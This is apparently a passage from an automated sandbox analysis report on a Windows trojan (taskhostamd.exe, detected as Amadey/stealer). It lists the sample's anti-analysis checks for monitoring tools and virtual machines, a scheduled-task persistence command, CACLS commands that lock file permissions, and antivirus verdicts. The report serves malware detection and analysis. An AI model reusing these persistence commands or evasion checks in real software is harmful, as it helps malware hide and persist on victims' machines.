FindWindowA July 20, 2023, 7:35 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: Registry Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: 18467-41 window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: #0 window_name: File Monitor - Sysinternals: www.sysinternals.com		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA July 20, 2023, 7:35 a.m.	class_name: #0 window_name: Process Monitor - Sysinternals: www.sysinternals.com		0	0

Checks the version of Bios, possibly for anti-virtualization (2 events)

registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion

Installs itself for autorun at Windows startup (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe" /F

Creates an executable file in a user folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\eb0f58bce7\oneetx.exe

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "..\eb0f58bce7" /P "test22:N"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\eb0f58bce7" /P "test22:N"&&CACLS "..\eb0f58bce7" /P "test22:R" /E&&Exit
cmdline	CACLS "..\eb0f58bce7" /P "test22:R" /E
cmdline	CACLS "oneetx.exe" /P "test22:N"
cmdline	CACLS "oneetx.exe" /P "test22:R" /E
cmdline	cmd /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\eb0f58bce7" /P "test22:N"&&CACLS "..\eb0f58bce7" /P "test22:R" /E&&Exit

Detects VirtualBox through the presence of a registry key (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation July 20, 2023, 7:35 a.m.	information_class: 76 (SystemFirmwareTableInformation)		3221225507	0

Detects VMWare through the in instruction feature (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ July 20, 2023, 7:35 a.m.	stacktrace: exception.instruction_r: ed e9 8f e0 02 00 c3 e9 c0 8d 05 00 1a d6 3d d6 exception.symbol: taskhostamd+0x3ce8e2 exception.instruction: in eax, dx exception.module: taskhostamd.exe exception.exception_code: 0xc0000096 exception.offset: 3991778 exception.address: 0x7ce8e2 registers.esp: 1638268 registers.edi: 6570441 registers.eax: 1447909480 registers.ebp: 5480448 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1	0	0

File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 events)

Bkav	W32.Common.478007F7
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.68176474
McAfee	Artemis!54CBE835AC72
Sangfor	Trojan.Win32.Agent.Vvqk
K7AntiVirus	Trojan ( 005a8b131 )
Alibaba	TrojanSpy:Win32/Stealer.53ea9395
K7GW	Trojan ( 005a8b131 )
Arcabit	Trojan.Generic.D4104A5A
BitDefenderTheta	Gen:NN.ZexaF.36318.IpvaaigevvfO
tehtris	Generic.Malware
ESET-NOD32	a variant of Win32/GenCBL.DXL
Cynet	Malicious (score: 100)
Kaspersky	Trojan-Spy.Win32.Stealer.eqbh
BitDefender	Trojan.GenericKD.68176474
Avast	Win32:Malware-gen
Tencent	Malware.Win32.Gencirc.13e9fc57
Emsisoft	Trojan.GenericKD.68176474 (B)
F-Secure	Trojan.TR/Spy.Stealer.wwqiw
DrWeb	Trojan.SpyBot.1272
VIPRE	Trojan.GenericKD.68176474
TrendMicro	Trojan.Win32.AMADEY.YXDGSZ
McAfee-GW-Edition	Artemis!Trojan
Trapmine	malicious.high.ml.score
FireEye	Trojan.GenericKD.68176474
Sophos	Mal/EncPk-PC
Webroot	W32.Trojan.Gen
Avira	TR/Spy.Stealer.wwqiw
Antiy-AVL	Trojan/Win32.GenCBL
Gridinsoft	Ransom.Win32.Sabsik.cl
Microsoft	Ransom:Win32/Play!ml
ZoneAlarm	Trojan-Spy.Win32.Stealer.eqbh
GData	Trojan.GenericKD.68176474
Google	Detected
ALYac	Trojan.GenericKD.68176474
MAX	malware (ai score=82)
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	Trojan.Win32.AMADEY.YXDGSZ
Rising	Stealer.Agent!8.C2 (TFE:5:LwQhXC3HeoI)
Fortinet	W32/GenCBL.DXL!tr
AVG	Win32:Malware-gen
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

taskhostamd.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All